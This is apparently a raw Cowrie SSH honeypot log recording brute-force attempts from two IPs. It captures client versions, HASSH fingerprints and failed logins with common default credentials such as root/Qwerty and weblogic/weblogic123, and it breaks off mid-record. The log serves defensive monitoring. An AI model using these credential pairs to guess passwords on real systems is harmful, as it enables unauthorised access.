{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:06.847950Z","src_ip":"192.109.200.78","session":"3481d609b336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:06.935150Z","src_ip":"192.109.200.78","session":"3481d609b336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:07.475628Z","src_ip":"192.109.200.78","session":"3481d609b336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:08.559839Z","src_ip":"192.109.200.78","session":"3481d609b336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7a93690e761","protocol":"ssh","message":"New connection: 192.109.200.78:60080 (159.203.135.109:22) [session: b7a93690e761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:11.033107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:11.037928Z","src_ip":"192.109.200.78","session":"b7a93690e761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:11.120529Z","src_ip":"192.109.200.78","session":"b7a93690e761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:11.366321Z","src_ip":"192.109.200.78","session":"b7a93690e761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:12.450675Z","src_ip":"192.109.200.78","session":"b7a93690e761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60090,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b2f9f784a8b","protocol":"ssh","message":"New connection: 192.109.200.78:60090 (159.203.135.109:22) [session: 2b2f9f784a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:15.138778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:15.144003Z","src_ip":"192.109.200.78","session":"2b2f9f784a8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:15.340661Z","src_ip":"192.109.200.78","session":"2b2f9f784a8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:15.589476Z","src_ip":"192.109.200.78","session":"2b2f9f784a8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37946,"dst_ip":"159.203.135.109","dst_port":22,"session":"67fe10c68311","protocol":"ssh","message":"New connection: 159.203.92.129:37946 (159.203.135.109:22) [session: 67fe10c68311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:16.233165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:16.238284Z","src_ip":"159.203.92.129","session":"67fe10c68311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:16.245253Z","src_ip":"159.203.92.129","session":"67fe10c68311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RAID5","password":"RAID5123","message":"login attempt [RAID5/RAID5123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:16.259958Z","src_ip":"159.203.92.129","session":"67fe10c68311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:16.988024Z","src_ip":"192.109.200.78","session":"2b2f9f784a8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:17.267297Z","src_ip":"159.203.92.129","session":"67fe10c68311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59042,"dst_ip":"159.203.135.109","dst_port":22,"session":"972ca3e3b178","protocol":"ssh","message":"New connection: 192.109.200.78:59042 (159.203.135.109:22) [session: 972ca3e3b178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:19.353888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:19.358860Z","src_ip":"192.109.200.78","session":"972ca3e3b178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:19.445230Z","src_ip":"192.109.200.78","session":"972ca3e3b178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:19.693523Z","src_ip":"192.109.200.78","session":"972ca3e3b178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:20.780244Z","src_ip":"192.109.200.78","session":"972ca3e3b178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59054,"dst_ip":"159.203.135.109","dst_port":22,"session":"0539b41489d6","protocol":"ssh","message":"New connection: 192.109.200.78:59054 (159.203.135.109:22) [session: 0539b41489d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:23.365037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:23.370188Z","src_ip":"192.109.200.78","session":"0539b41489d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:23.455001Z","src_ip":"192.109.200.78","session":"0539b41489d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:23.711035Z","src_ip":"192.109.200.78","session":"0539b41489d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:24.802068Z","src_ip":"192.109.200.78","session":"0539b41489d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59076,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ab45896caf","protocol":"ssh","message":"New connection: 192.109.200.78:59076 (159.203.135.109:22) [session: f8ab45896caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:27.675917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:27.681122Z","src_ip":"192.109.200.78","session":"f8ab45896caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:27.767720Z","src_ip":"192.109.200.78","session":"f8ab45896caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:28.024855Z","src_ip":"192.109.200.78","session":"f8ab45896caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:29.113370Z","src_ip":"192.109.200.78","session":"f8ab45896caf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41072,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b799b075da8","protocol":"ssh","message":"New connection: 192.109.200.78:41072 (159.203.135.109:22) [session: 3b799b075da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:31.756406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:31.761726Z","src_ip":"192.109.200.78","session":"3b799b075da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:31.844345Z","src_ip":"192.109.200.78","session":"3b799b075da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:32.137248Z","src_ip":"192.109.200.78","session":"3b799b075da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:33.221557Z","src_ip":"192.109.200.78","session":"3b799b075da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41122,"dst_ip":"159.203.135.109","dst_port":22,"session":"0843bba1881c","protocol":"ssh","message":"New connection: 192.109.200.78:41122 (159.203.135.109:22) [session: 0843bba1881c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:36.014359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:36.020082Z","src_ip":"192.109.200.78","session":"0843bba1881c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-